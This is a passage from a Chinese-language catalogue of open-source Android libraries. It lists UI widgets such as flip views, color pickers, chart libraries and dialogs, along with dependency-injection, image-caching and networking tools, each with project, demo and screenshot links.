Android-ActionItemBadge 可以在 ActionBar 的 MenuItem 上显示一个小角标 项目地址:https://github.com/mikepenz/Android-ActionItemBadge 效果图:![Renderings](https://raw.githubusercontent.com/mikepenz/Android-ActionItemBadge/master/DEV/screenshot/screenshot1_small.png) 1. SnackBar Material Design 风格的 Toast,类似 Google inbox 中的提示 项目地址:https://github.com/MrEngineer13/SnackBar Demo 地址:https://play.google.com/store/apps/details?id=com.mrengineer13.snackbar.sample 效果图:![Renderings](https://camo.githubusercontent.com/67a39af16f3d46631567c1f7bd7dcddeb3c4c9e9/687474703a2f2f6d6174657269616c2d64657369676e2e73746f726167652e676f6f676c65617069732e636f6d2f696d616765732f636f6d706f6e656e74732d746f617374732d73706563732d737065635f746f6173745f30335f315f6c617267655f6d6470692e706e67) 1. HeadsUp 在 2.3 上使用 android 5.0 的 HeadsUp 效果 项目地址:https://github.com/zzz40500/HeadsUp 效果图:![Renderings](gif](http://upload-images.jianshu.io/upload_images/166866-543a5d26ab71d0f6.gif) #### 十二、FlipView 1. android-flip 类似 Flipboard 翻转动画的实现 项目地址:https://github.com/openaphid/android-flip Demo 地址:https://github.com/openaphid/android-flip/blob/master/FlipView/Demo/APK/Aphid-FlipView-Demo.apk?raw=true APP 示例:flipboard 1. FlipImageView 支持 x、y、z 及动画选择的翻转动画的实现 项目地址:https://github.com/castorflex/FlipImageView Demo 地址:https://play.google.com/store/apps/details?id=fr.castorflex.android.flipimageview 1. FoldableLayout Flip 翻转效果的 ListView,目前还不支持 ListView 缓存 项目地址:https://github.com/alexvasilkov/FoldableLayout Demo 地址:http://play.google.com/store/apps/details?id=com.alexvasilkov.foldablelayout.sample 1. FlipViewPager.Draco Flip 翻转效果的 ViewPager 项目地址:https://github.com/Yalantis/FlipViewPager.Draco 效果:![flip.gif](https://camo.githubusercontent.com/db312e031e5f5a445b548d35986b0498caa261d3/68747470733a2f2f6431337961637572716a676172612e636c6f756466726f6e742e6e65742f75736572732f3132353035362f73637265656e73686f74732f313735383239382f39396d696c65732d66696e642d667269656e64732d696e746572666163652d616e696d6174696f6e2e676966) #### 十三、ColorPickView 1. ColorPickerView 颜色选择器,支持 PopupWindows 或新的 Activity 中打开 项目地址:https://code.google.com/p/color-picker-view/ 效果图:![Renderings](http://oi41.tinypic.com/33c6mm8.jpg) 1. HoloColorPicker 颜色选择器 项目地址:https://github.com/LarsWerkman/HoloColorPicker Demo 地址:https://docs.google.com/file/d/0BwclyDTlLrdXRzVnTGJvTlRfU2s/edit 1. ColorPickerPreference 颜色选择器 项目地址:https://github.com/attenzione/android-ColorPickerPreference 效果图:![Renderings](https://github.com/attenzione/android-ColorPickerPreference/raw/master/screen_2.png) 1. ColorPicker 颜色选择器(Google Agenda 中的样式风格) 项目地址:https://github.com/flavienlaurent/colorpicker Demo 地址:https://raw.github.com/biboune/colorpicker/master/colorpicker-sample.apk 效果图:![Renderings](https://camo.githubusercontent.com/a42581e637ca379004855d69e262d85ea966fa35/68747470733a2f2f7261772e6769746875622e636f6d2f6269626f756e652f636f6c6f727069636b65722f6d61737465722f67726170686963732f696d67312e706e67) #### 十四、GraphView 1. MPAndroidChart 强大的图表绘制工具,支持折线图、面积图、散点图、时间图、柱状图、条图、饼图、气泡图、圆环图、范围(高至低)条形图、网状图等;支持图的拖拽缩放;支持 Android 2.2 以上,支持横纵轴缩放,多指缩放,展现动画、高亮、保存到 sdcard、从文件读取图表 项目地址:https://github.com/PhilJay/MPAndroidChart Demo 地址:https://play.google.com/store/apps/details?id=com.xxmassdeveloper.mpchartexample Demo 项目:https://github.com/PhilJay/MPAndroidChart/tree/master/MPChartExample 效果图:![Renderings](https://camo.githubusercontent.com/a9eaa5fc7fb6c1e70b22acd09385055e0f5c4fe7/68747470733a2f2f7261772e6769746875622e636f6d2f5068696c4a61792f4d5043686172742f6d61737465722f73637265656e73686f74732f73696d706c6564657369676e5f6c696e656368617274342e706e67) https://camo.githubusercontent.com/78b4bc4e50e151970961daf56e81c4c0db72d27c/68747470733a2f2f7261772e6769746875622e636f6d2f5068696c4a61792f4d5043686172742f6d61737465722f73637265656e73686f74732f73696d706c6564657369676e5f6261726368617274332e706e67 https://camo.githubusercontent.com/65f51783ec05038730b481ed614b57a94e867d86/68747470733a2f2f7261772e6769746875622e636f6d2f5068696c4a61792f4d5043686172742f6d61737465722f73637265656e73686f74732f626172636861727432642e706e67 https://camo.githubusercontent.com/f66a35bf430b12480d3e2ed8e3bc8d7a17db950f/68747470733a2f2f7261772e6769746875622e636f6d2f5068696c4a61792f4d5043686172742f6d61737465722f73637265656e73686f74732f626172636861727433642e706e67 https://camo.githubusercontent.com/60bd0d71462ad577df775b956944b191e939728a/68747470733a2f2f7261772e6769746875622e636f6d2f5068696c4a61792f4d50416e64726f696443686172742f6d61737465722f73637265656e73686f74732f70696563686172745f686f6c657261646975735f73706163652e706e67 https://camo.githubusercontent.com/6b254aa699df7f9464967009129c3017de721b77/68747470733a2f2f7261772e6769746875622e636f6d2f5068696c4a61792f4d50416e64726f696443686172742f6d61737465722f73637265656e73686f74732f7363617474657263686172742e706e67 在线演示:https://www.youtube.com/watch?v=ufaK_Hd6BpI 1. achartengine 强大的图表绘制工具,支持折线图、面积图、散点图、时间图、柱状图、条图、饼图、气泡图、圆环图、范围(高至低)条形图、拨号图/表、立方线图及各种图的结合 项目地址:https://code.google.com/p/achartengine/ 效果图:![Renderings](http://www.achartengine.org/dimages/average_temperature.png) http://www.achartengine.org/dimages/sales_line_and_area_chart.png http://www.achartengine.org/dimages/temperature_range_chart.png http://www.achartengine.org/dimages/combined_chart.png http://www.achartengine.org/dimages/budget_chart.png 官网网址:http://www.achartengine.org/ APP 示例:Wordpress Android,Google Analytics 1. GraphView 绘制图表和曲线图的 View,可用于 Android 上的曲形图、柱状图、波浪图展示 项目地址:https://github.com/jjoe64/GraphView Demo 项目:https://github.com/jjoe64/GraphView-Demos APP 示例:Wordpress Android,Google Analytics 1. HoloGraphLibrary 绘制现状图、柱状图、饼状图 项目地址:https://bitbucket.org/danielnadeau/holographlibrary/src 文档介绍:https://bitbucket.org/danielnadeau/holographlibrary/wiki/Home 1. XCL-Charts XCL-Charts 基于原生的 Canvas 来绘制各种图表,在设计时,尽量在保证开发效率的同时,给使用者提供足够多的定制化能力。因此使用简便,同时具有相当灵活的定制能力。目前支持 3D/非 3D 柱形图(Bar Chart)、3D/非 3D 饼图(Pie Chart)、堆积图(Stacked Bar Chart)、面积图(Area Chart)、 折线图(Line Chart)、曲线图(Spline Chart)、环形图(Dount Chart)、南丁格尔玫瑰图(Rose Chart)、仪表盘(Dial Chart)、刻度盘(Gauge Chart)、雷达图(Radar Chart)、圆形图(Circle Chart)等图表。其它特性还包括支持图表缩放、手势移动、动画显示效果、高密度柱形显示、图表分界定制线、多图表的混合显示及同数据源不同类型图表切换等。 项目地址:https://github.com/xcltapestry/XCL-Charts Demo 地址:https://github.com/xcltapestry/XCL-Charts/blob/master/XCL-Charts-demo/bin/XCL-Charts-demo.apk?raw=true 1. EazeGraph Android 图表库,支持柱状图、分层柱状图、饼状图、线性图 项目地址:https://github.com/blackfizz/EazeGraph Demo 地址:https://play.google.com/store/apps/details?id=org.eazegraph.app 1. WilliamChart 绘制图表的库,支持 LineChartView、BarChartView 和 StackBarChartView 三中图表类型,并且支持 Android 2.2 及以上的系统。 项目地址:https://github.com/diogobernardino/WilliamChart Demo 地址:https://play.google.com/store/apps/details?id=com.db.williamchartdemo Demo 项目:https://github.com/diogobernardino/WilliamChart/tree/master/sample 效果图:![Renderings](https://github.com/diogobernardino/WilliamChart/raw/master/art/linechart.gif)![Renderings](https://github.com/diogobernardino/WilliamChart/raw/master/art/barchart.gif)![Renderings](https://github.com/diogobernardino/WilliamChart/raw/master/art/stackbarchart.gif) 1. HelloCharts for Android 支持折线图、柱状图、饼图、气泡图、组合图;支持预览、放大缩小,滚动,部分图表支持动画;支持 Android 2.2 以上 项目地址:https://github.com/lecho/hellocharts-android Demo 地址:https://play.google.com/store/apps/details?id=lecho.lib.hellocharts.samples 在线演示:https://www.youtube.com/watch?v=xbSBjyjH2SY 1. PieChartView 比较简单直接的饼状统计报表图,使用方便,设置相应的属性参数即可 项目地址:https://github.com/wuseal/PieChartView Demo 地址:https://github.com/wuseal/PieChartView 效果图: ![Renderings](https://github.com/wuseal/PieChartView/blob/master/demo.png?raw=true) #### 十五、UI Style 不同样式的系统 UI 风格,如 IOS、Bootstrap 风格 1. UITableView ios 风格控件,包括 Button、ListView、TableView 项目地址:https://github.com/thiagolocatelli/android-uitableview Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/ui-tableview-demo.apk?raw=true 1. ATableView ios 风格控件 项目地址:https://github.com/dmacosta/ATableView Demo 地址:https://play.google.com/store/apps/details?id=com.nakardo.atableview.demo 1. Cards-UI 卡片式 View,支持单个卡片,item 为卡片的 ListView 项目地址:https://github.com/afollestad/Cards-UI Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/cards-ui-demo.apk?raw=true 1. cardslib 卡片式 View,支持单个卡片,item 为卡片的 ListView 和 GridView 项目地址:https://github.com/gabrielemariotti/cardslib Demo 地址:https://play.google.com/store/apps/details?id=it.gmariotti.cardslib.demo 1. Android-Bootstrap Bootstrap 风格的按钮 项目地址:https://github.com/Bearded-Hen/Android-Bootstrap 效果图:![Renderings](https://raw.github.com/Bearded-Hen/Android-Bootstrap/master/images/device_image.png) 1. Material Design Android Library Android L 中 Material Design 风格的组件适配到 Android 2.2+ 项目地址:https://github.com/navasmdc/MaterialDesignLibrary 1. Android FlatUI Android 扁平化风格的组件,支持一些自定义样式 项目地址:https://github.com/eluleci/FlatUI 效果图:![Renderings](https://camo.githubusercontent.com/590d4a2ac322417b71f83223bd58b83903d58343/68747470733a2f2f7261772e6769746875622e636f6d2f656c756c6563692f466c617455492f6d61737465722f73616d706c652d696d616765732f73686f77636173652e706e67) 1. cheesesquare 全新 Android 设计库演示 Demo,包括 Collapsing Toolbar、FloatingActionButton、View anchoring、NavigationView、Snackbar 项目地址:https://github.com/chrisbanes/cheesesquare 效果图:![Renderings](http://7xikfc.com1.z0.glb.clouddn.com/Screenshot_2015-07-17-12-22-07.png) #### 十六、其他 1. SnappingStepper 一种漂亮的UI控件,能更灵活的控制数字的增减。可用于购物车商品数量控制。 项目地址:https://github.com/saiwu-bigkoo/Android-SnappingStepper 效果图:![Renderings](https://github.com/saiwu-bigkoo/Android-SnappingStepper/blob/master/preview/snappingstepperdemo.gif) 1. SwipeBackLayout 左右或向上滑动返回的 Activity 项目地址:https://github.com/Issacw0ng/SwipeBackLayout Demo 地址:https://play.google.com/store/apps/details?id=me.imid.swipebacklayout.demo APP 示例:知乎 1. ParallaxBackLayout 视差滑动返回的 Activity 项目地址:https://github.com/anzewei/ParallaxBackLayout Demo 地址:https://github.com/anzewei/ParallaxBackLayout/blob/master/ext/demo.apk?raw=true 效果图:![Renderings](https://github.com/anzewei/ParallaxBackLayout/blob/master/ext/v0.2.gif) 1. android-styled-dialogs 可自定义样式的 dialog,默认与 Holo 主题样式一致,在 Android2.2 以上同一样式 项目地址:https://github.com/inmite/android-styled-dialogs Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/styled-dialogs-demo.apk?raw=true 1. Android Sliding Up Panel 可拖动的 View,能在当前 Activity 上扶起一个可拖动的 Panel 项目地址:https://github.com/umano/AndroidSlidingUpPanel Demo 地址:https://play.google.com/store/apps/details?id=com.sothree.umano APP 示例:Google Music 精简播放栏 1. TableFixHeaders 第一列固定的 Table 项目地址:https://github.com/InQBarna/TableFixHeaders Demo 地址:http://bit.ly/13buAIq 1. Inscription 可用于展示应用 change 和 new feature 信息 项目地址:https://github.com/MartinvanZ/Inscription 1. ActivityTransition Activity 切换动画,包括渐变、flip、某个位置进入等等 项目地址:https://github.com/ophilbert/ActivityTransition 文档介绍:https://github.com/jfeinstein10/JazzyViewPager/blob/master/JazzyViewPager.apk?raw=true 1. EasyAndroidAnimations 针对 View 的各种动画 项目地址:https://github.com/2359media/EasyAndroidAnimations 1. ViewAnimation 对android view 动画进行封装,实现起更简单,自带三种常见运动路径,其他的可自定义 项目地址:https://github.com/guohuanwen/ViewAniamtion 效果图:![ViewAnimation](https://github.com/guohuanwen/ViewAniamtion/blob/master/sreenshots/AnimationGif.gif) APP 示例:QQ名片圈圈效果 1. AndroidLoadingAnimation 多种android加载动画 项目地址:https://github.com/guohuanwen/AndroidLoadingAnimation 效果图:![TaiJIView](https://github.com/guohuanwen/AndroidLoadingAnimation/blob/master/screenshots/taiji1.gif) 1. android-lockpattern Android 的图案密码解锁 项目地址:https://code.google.com/p/android-lockpattern/ 原理剖析文档:[android-lockpattern](https://a.codekk.com/detail/Android/爱早起/Android Lock Pattern 源码解析) Demo 地址:https://play.google.com/store/apps/details?id=group.pals.android.lib.ui.lockpattern.demo 文档介绍:https://code.google.com/p/android-lockpattern/wiki/QuickUse APP 示例:Android 开机的图案密码解锁,支付宝的密码解锁 1. PatternLock 另一个 Android 图案解锁库 项目地址:https://github.com/DreaminginCodeZH/PatternLock Demo 地址:https://github.com/DreaminginCodeZH/PatternLock/raw/master/dist/sample.apk 效果图:![Renderings](https://github.com/DreaminginCodeZH/PatternLock/raw/master/image/sample_small.png) APP 示例:Android 开机的图案密码解锁,支付宝的密码解锁 1. RangeBar 类似于 SeekBar,不同的是可以选择一个范围内的值而不是单个值 项目地址:https://github.com/edmodo/range-bar Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/range-bar-demo.apk?raw=true 效果图:![Renderings](http://i.imgur.com/q85GhRjl.png) 1. ChromeView 利用 Chromium 实现的 WebView,解决各个 Android 版本 WebView 不同的问题,同时利用最新 Chrome 代码 项目地址:https://github.com/pwnall/chromeview 1. android-phased-seek-bar 支持预先定义状态的 SeekBar 项目地址:https://github.com/ademar111190/android-phased-seek-bar 效果图:![Renderings](https://raw.githubusercontent.com/ademar111190/android-phased-seek-bar/master/images/sample.gif) 1. Android Slider Preference Library 可添加到设置中的基于对话框的 RankBar 小部件 项目地址:https://github.com/jayschwa/AndroidSliderPreference 1. ShowcaseView library 用于高亮显示应用程序的特定部分,从而突出突出重点 项目地址:https://github.com/amlcurran/ShowcaseView 1. android-segmented-control Android 上的 Segmented Controls,相当于 RadioButton 组 项目地址:https://github.com/hoang8f/android-segmented-control 1. Swipeable Cards 类似 Tinder 的卡片效果,可以加载图片并动画效果展示,向左滑动表示喜欢,向右表示不喜欢 项目地址:https://github.com/kikoso/Swipeable-Cards Demo 地址:https://play.google.com/store/apps/details?id=info.hoang8f.fbutton.demo 1. EdgeEffectOverride 改变 ScrollView, ListView, ExpandableListView, GridView, ViewPager 等滚动控件滚动到边缘的颜色效果 项目地址:https://github.com/AndroidAlliance/EdgeEffectOverride 1. android-pinned-header-listviews 使 ExpandListView 的 Group 滑动到顶端时会固定不动直到另外一个 Group 到达顶端 项目地址:https://github.com/rtyley/android-pinned-header-listviews 1. AndroidSwipeLayout 滑动 Layout,支持单个 View,ListView,GridView 项目地址:https://github.com/daimajia/AndroidSwipeLayout Demo 地址:[Download Demo](https://github.com/daimajia/AndroidSwipeLayout/releases/download/v1.0.0/AndroidSwipeLayout-Demo-1.0.1-snapshot.apk) 效果图:![Renderings](http://ww2.sinaimg.cn/mw690/610dc034jw1ejoplapwtqg208n0e74dx.gif) 1. DynamicCardLayout 在 Android 中实现的类似 Windows8 的瓷片布局 项目地址:https://github.com/dodola/DynamicCardLayout 效果图:![Renderings](https://github.com/dodola/DynamicCardLayout/blob/master/pic1.png?raw=true) 1. Emoticons-Keyboard 带表情情符号的自定义键盘 项目地址:https://github.com/chiragjain/Emoticons-Keyboard 效果图:![Renderings](https://github.com/chiragjain/Emoticons-Keyboard/raw/master/s2.png) 1. Android Typeface Helper 可以帮你轻松实现自定义字体的库 项目地址:https://github.com/norbsoft/android-typeface-helper 效果图:![Renderings](https://camo.githubusercontent.com/b8e7d4f4ab84ff96a3919ea264e2a83aca46e04e/68747470733a2f2f7261772e6769746875622e636f6d2f6e6f7262736f66742f616e64726f69642d74797065666163652d68656c7065722f6d61737465722f726561646d655f73637265656e2e706e67) 1. Android-Anim-Playground 几个动画效果,其中第二个基于 android-svg 的绘制效果非常好 项目地址:https://github.com/Tibolte/Android-Anim-Playground 效果图:![Renderings](https://raw.githubusercontent.com/Tibolte/Android-Anim-Playground/master/androiddemosvg.gif) 1. AlertView 仿iOS的AlertViewController 几乎完美还原iOS 的 AlertViewController ,同时支持Alert和ActionSheet模式,每一个细节都是精雕细琢,并把api封装成懒到极致模式,一行代码就可以进行弹窗. 项目地址:https://github.com/saiwu-bigkoo/Android-AlertView 效果图:![Renderings](https://github.com/saiwu-bigkoo/Android-AlertView/blob/master/preview/alertviewdemo.gif) 1. NiftyDialogEffects 支持自定义飞入动画样式的 Dialog 项目地址:https://github.com/sd6352051/NiftyDialogEffects 效果图:![Renderings](https://camo.githubusercontent.com/456687ac516bb07f1076928d635bfddf6b90d5ec/687474703a2f2f696d67302e70682e3132362e6e65742f69433436653162586b55316631724966555a6f3939773d3d2f363539373632303632313938343031393430382e676966) 在线演示:http://tympanus.net/Development/ModalWindowEffects/ 1. PostOffice 创建 Holo 及 Material Design 样式的 Dialog 项目地址:https://github.com/r0adkll/PostOffice 效果图:![Renderings](https://github.com/r0adkll/PostOffice/raw/master/images/po_2.png) 1. Swipecards 类似 Tinder 的卡片效果,可以加载图片并动画效果展示,向左滑动表示喜欢,向右表示不喜欢,根据 Kikoso's Swipeable-Cards 改造而来 项目地址:https://github.com/Diolor/Swipecards 1. SeekArc 圆形的 SeekBar 项目地址:https://github.com/TriggerTrap/SeekArc 效果图:![Renderings](https://camo.githubusercontent.com/6a5091cb39a50d4c49b8d2f08684cb260db55aa7/68747470733a2f2f7261772e6769746875622e636f6d2f6e65696c643030312f5365656b4172632f6d61737465722f7261772f6172635f7377656570732e706e67) 1. BlurDialogFragment 显示 DialogFragment 时背景模糊效果 项目地址:https://github.com/tvbarthel/BlurDialogFragment Demo 地址:https://play.google.com/store/apps/details?id=fr.tvbarthel.lib.blurdialogfragment.sample 1. range-seek-bar 随机值选取的 SeekBar 项目地址:https://github.com/yahoo/android-range-seek-bar 效果图:![Renderings](https://github.com/yahoo/android-range-seek-bar/raw/master/demo_screenshot.png) 1. MaterialRangeBar 可以选择一个范围内的值而不是单个值的 SeekBar,RangeBar 的 Material Design 风格适配 项目地址:https://github.com/oli107/material-range-bar 效果图:![Renderings](https://github.com/oli107/material-range-bar/raw/master/Screenshots/pin%20expand.gif) 1. MaterialList Material Design 风格的 CardView 项目地址:https://github.com/dexafree/MaterialList Demo 地址:https://play.google.com/store/apps/details?id=com.dexafree.materiallistviewexample 效果图:![Renderings](https://camo.githubusercontent.com/b71bb064807465b7c9132d7f6072e2064f01fb85/687474703a2f2f692e696d6775722e636f6d2f454e78554741772e706e67) 1. road-trip 设置 path 的各种动画效果,以及如何实现复杂路径动画,类似于 ios 中的指纹注册界面的指纹动画效果 项目地址:https://github.com/romainguy/road-trip 效果图:![Renderings](https://github.com/zhangxin1989/RoadTrip/raw/master/screenshot/Road-Trip-200.gif) 1. dialogplus 一个简单的 Android 对话框,支持不同的弹出模式 项目地址:https://github.com/orhanobut/dialogplus 效果图:![Renderings](https://github.com/nr4bt/dialogplus/raw/master/art/dialogplus.gif) 1. FlowLayout 一个简单的流式布局,用法类似 LinearLayout,但是能够让子元素根据宽度自动换行 项目地址:[FLowLayout](https://github.com/LyndonChin/AndroidFlowLayout) 效果图:![Renderings](http://img02.taobaocdn.com/imgextra/i2/160310864/TB2MH8.bVXXXXa3XXXXXXXXXXXX_!!160310864.png) 1. CircleSeekbar 一个环形Seekbar组件,支持叠加复合使用 项目地址:[CircleSeekbar](https://github.com/feeeei/CircleSeekbar) 效果图: ![Renderings](https://github.com/feeeei/CircleSeekbar/blob/master/gifs/withtext.gif) ![Renderings](https://github.com/feeeei/CircleSeekbar/raw/master/gifs/union.gif) 1. FinestWebView 美麗的和可定制的Android的活動,顯示在一個應用程序的網頁。 项目地址: https://github.com/TheFinestArtist/FinestWebView-Android Sample 地址: https://play.google.com/store/apps/details?id=com.thefinestartist.finestwebview.sample 效果图: ![Renderings](https://github.com/TheFinestArtist/FinestWebView-Android/blob/master/art/screenshots.png?raw=true) 1. YouTubePlayerActivity 只需通過一個URL來在新的活動播放YouTube視頻。它支持屏幕方向,媒體音量控制等。 项目地址: https://github.com/TheFinestArtist/YouTubePlayerActivity Sample 地址: https://play.google.com/store/apps/details?id=com.thefinestartist.ytpa.sample 效果图: ![Renderings](https://github.com/thefinestartist/YouTubePlayerActivity/blob/master/art/preview.gif) 1. material-camera material风格的camera。能使camera使用起来更简单的库。 项目地址:https://github.com/afollestad/material-camera 效果图: ![Renderings](https://raw.githubusercontent.com/afollestad/material-camera/master/art/deviceart.png) 1. material-dialogs 各种material风格的dialog。 漂亮的的、易于使用的和可定制的Dialog API,你能够使用Material designed风格的Dialog到API 8。 项目地址:https://github.com/afollestad/material-dialogs Sample地址:https://github.com/afollestad/material-dialogs/blob/master/sample/sample.apk 效果图: ![Renderings](https://raw.githubusercontent.com/afollestad/material-dialogs/master/art/mddemoshowcase.png) 1. NotifyUtil 最常见的通知样式库 项目地址:https://github.com/wenmingvs/NotifyUtil demo地址:https://github.com/wenmingvs/NotifyUtil#notifydemo 1. CanPhotos 使用fresco选取多张图片并可预览图片 项目地址:https://github.com/canyinghao/CanPhotos 效果图: ![Renderings](https://raw.githubusercontent.com/canyinghao/CanPhotos/master/pic/CanPhotos.gif) 1. CanDialog 仿照系统Dialog所写,继承于FrameLayout,添加一些动画,一些显示类型。 项目地址:https://github.com/canyinghao/CanDialog 效果图: ![Renderings](https://raw.githubusercontent.com/canyinghao/CanDialog/master/pic/CanDialog.gif) 1. WindRoseDiagramView 一个风力玫瑰图的 View 组件,项目地址:![https://github.com/timqi/WindRoseDiagramView/](https://github.com/timqi/WindRoseDiagramView/) ![效果图](https://github.com/timqi/WindRoseDiagramView/raw/master/art/WindRoseDiagram.gif) 1. MaterialRatingBar 与 Google 系应用设计相同、支持拉伸、修正原生实现诸多问题的星级评分条。可直接替换 RatingBar。 项目地址:https://github.com/DreaminginCodeZH/MaterialRatingBar Demo 地址:https://github.com/DreaminginCodeZH/MaterialRatingBar/releases/download/v1.0.2/sample-release.apk ![效果图](https://github.com/DreaminginCodeZH/MaterialRatingBar/raw/master/screenshot/sample_app.jpg) 1. Spotlight Android图书馆点亮项目的教程或漫步等... 項目地址:https://github.com/TakuSemba/Spotlight 效果圖: ![Renderings](https://raw.githubusercontent.com/takusemba/spotlight/master/arts/customTarget.gif) 1. SpeedView Android的动态车速表和量规。 惊人,强大,多形 :zap: 項目地址: https://github.com/anastr/SpeedView 效果圖: ![Renderings](https://raw.githubusercontent.com/anastr/SpeedView/master/images/AwesomeSpeedometer.gif) 1. MaterialPlayPauseDrawble Material Design 的播放/暂停图标动画,可作为 `Drawable`、`ImageView` 或 `ImageButton` 使用 項目地址: https://github.com/DreaminginCodeZH/MaterialPlayPauseDrawble 效果图: ![Renderings](https://github.com/DreaminginCodeZH/MaterialPlayPauseDrawble/raw/master/preview/sample.gif) ## 第二部分 工具库 主要包括那些不错的开发库,包括依赖注入框架、图片缓存、网络请求、数据库 ORM 建模、Android 公共库、Android 高版本向低版本兼容、多媒体相关及其他。 #### 一、依赖注入 DI 通过依赖注入减少 View、服务、资源简化初始化,事件绑定等重复繁琐工作 1. AndroidAnnotations(Code Diet) android 快速开发框架 项目地址:https://github.com/excilys/androidannotations 文档介绍:https://github.com/excilys/androidannotations/wiki 官网网址:http://androidannotations.org/ 特点:(1) 依赖注入:包括 view,extras,系统服务,资源等等 (2) 简单的线程模型,通过 annotation 表示方法运行在 ui 线程还是后台线程 (3) 事件绑定:通过 annotation 表示 view 的响应事件,不用在写内部类 (4) REST 客户端:定义客户端接口,自动生成 REST 请求的实现 (5) 没有你想象的复杂:AndroidAnnotations 只是在在编译时生成相应子类 (6) 不影响应用性能:仅 50kb,在编译时完成,不会对运行时有性能影响。 其他:与 roboguice 的比较:roboguice 通过运行时读取 annotations 进行反射,所以可能影响应用性能,而 AndroidAnnotations 在编译时生成子类,所以对性能没有影响 1. roboguice 帮你处理了很多代码异常,利用 annotation 使得更少的代码完成项目 项目地址:https://github.com/roboguice/roboguice 文档介绍:https://github.com/roboguice/roboguice/wiki 1. butterknife 利用 annotation 帮你快速完成 View 的初始化,减少代码 项目地址:https://github.com/JakeWharton/butterknife 文档介绍:http://jakewharton.github.io/butterknife/ 1. Dagger 依赖注入,适用于 Android 和 Java 项目地址:https://github.com/square/dagger 原理剖析文档:[Dagger](https://a.codekk.com/detail/Android/扔物线/Dagger 源码解析) 文档介绍:http://square.github.io/dagger/ 1. AutoParcel 注解自动生成Parcelable实现代码的库 项目地址:https://github.com/frankiesardo/auto-parcel 这篇文章详细介绍了它的使用方法:[AutoParcel](https://passy.svbtle.com/simpler-android-apis-with-autoparcel) 作者认为使用AutoParcel的好处是,可以简化构造函数,方便IDE代码自动完成,方便测试,前向兼容,生成不可变的对象。 文档介绍:https://github.com/frankiesardo/auto-parcel 1. Dilutions 通过注解生成协议映射执行跨模块的界面跳转和方法调用,解耦的协议框架 项目地址:https://github.com/HomHomLin/Dilutions 文档介绍:https://github.com/HomHomLin/Dilutions #### 二、图片缓存 1. Android-Universal-Image-Loader 图片缓存,目前使用最广泛的图片缓存,支持主流图片缓存的绝大多数特性。 项目地址:https://github.com/nostra13/Android-Universal-Image-Loader 原理剖析文档:[Android-Universal-Image-Loader](https://a.codekk.com/detail/Android/huxian99/Android Universal Image Loader 源码分析) Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/universal-imageloader-demo.apk?raw=true 文档介绍:http://www.intexsoft.com/blog/item/74-universal-image-loader-part-3.html 1. picasso square 开源的图片缓存 项目地址:https://github.com/square/picasso 文档介绍:http://square.github.io/picasso/ 特点:(1)可以自动检测 adapter 的重用并取消之前的下载 (2)图片变换 (3)可以加载本地资源 (4)可以设置占位资源 (5)支持 debug 模式 1. Cube ImageLoader 阿里巴巴一淘使用的图片加载,综合了 Android-Universal-Image-Loader 和 square 等组件优点,简单易用,良好的中文文档支持 项目地址:https://github.com/etao-open-source/cube-sdk Demo 地址:https://github.com/liaohuqiu/cube-sdk/raw/master/cube-sdk-sample.apk 文档介绍:http://cube-sdk.liaohuqiu.net/ 效果图:![Renderings](https://raw.githubusercontent.com/etao-open-source/cube-sdk/dev/screen-shot.png) 1. fresco 一款强大的图片缓存工具,由 Facebook 开发 项目地址:https://github.com/facebook/fresco 文档介绍:http://frescolib.org/ 特点:(1) 两个内存缓存加上磁盘缓存构成了三级缓存 (2) 支持流式,可以类似网页上模糊渐进式显示图片 (3) 对多帧动画图片支持更好,如 Gif、WebP (4) 更多样的显示,如圆角、进度条、点击重试、自定义对焦点 (5) 更多样的加载,如支持 EXIF、全面支持 WebP (6) 支持 Android 2.3+ 1. Glide Glide 是一个 android 平台上的快速和高效的开源的多媒体资源管理库,提供 多媒体文件的压缩,内存和磁盘缓存, 资源池的接口。 它可以最大性能地在 Android 设备上读取、解码、显示图片和视频。Glide 可以将远程的图片、视频、动画图片等缓存在设备本地便于提高用户浏览图片的流畅体验。 项目地址:https://github.com/bumptech/glide 特点: (1) GIF 动画的解码 (2) 本地视频剧照的解码 (3) 支持缩略图 (4) Activity 生命周期的集成 (5) 转码的支持 (6) 动画的支持 (7) OkHttp 和 Volley 的支持 #### 三、网络请求 1. Volley Google 提供的网络通信库,使得网络请求更简单、更快速 项目地址:https://android.googlesource.com/platform/frameworks/volley 文档介绍:http://commondatastorage.googleapis.com/io-2013/presentations/110%20-%20Volley-%20Easy,%20Fast%20Networking%20for%20Android.pdf 1. Asynchronous Http Client for Android Android 异步 Http 请求 项目地址:https://github.com/loopj/android-async-http 文档介绍:http://loopj.com/android-async-http/ 特点:(1) 在匿名回调中处理请求结果 (2) 在 UI 线程外进行 http 请求 (3) 文件断点上传 (4) 智能重试 (5) 默认 gzip 压缩 (6) 支持解析成 Json 格式 (7) 可将 Cookies 持久化到 SharedPreferences 1. android-query 异步加载,更少代码完成 Android 加载 项目地址:https://github.com/androidquery/androidquery 或 https://code.google.com/p/android-query/ Demo 地址:https://play.google.com/store/apps/details?id=com.androidquery 文档介绍:https://code.google.com/p/android-query/#Why_AQuery? 特点:https://code.google.com/p/android-query/#Why_AQuery? 1. Async Http Client Java 异步 Http 请求 项目地址:https://github.com/AsyncHttpClient/async-http-client 文档介绍:http://sonatype.github.io/async-http-client/ 1. Ion 支持图片、json、http post 等异步请求 项目地址:https://github.com/koush/ion 文档介绍:https://github.com/koush/ion#more-examples 1. Http Request 项目地址:https://github.com/kevinsawicki/http-request 文档介绍:https://github.com/kevinsawicki/http-request#examples 1. okhttp square 开源的 http 工具类 项目地址:https://github.com/square/okhttp 文档介绍:http://square.github.io/okhttp/ 特点:(1) 支持 SPDY( http://zh.wikipedia.org/wiki/SPDY )协议。SPDY 协议是 Google 开发的基于传输控制协议的应用层协议,通过压缩,多路复用(一个 TCP 链接传送网页和图片等资源)和优先级来缩短加载时间。 (2) 如果 SPDY 不可用,利用连接池减少请求延迟 (3) Gzip 压缩 (4) Response 缓存减少不必要的请求 1. Retrofit RESTFUL API 设计 项目地址:https://github.com/square/retrofit 文档介绍:http://square.github.io/retrofit/ 1. RoboSpice Android 异步网络请求工具,支持缓存、REST 等等 项目地址:https://github.com/stephanenicolas/robospice Demo 地址:https://github.com/stephanenicolas/RoboDemo/downloads 1. TwistVolley TwistVolley 是对 Volley 的一个封装库。提供类似 Picasso 一样的串联式 API。使得使用 Volley 更加方便。 项目地址:https://github.com/TwistedEquations/TwistVolley 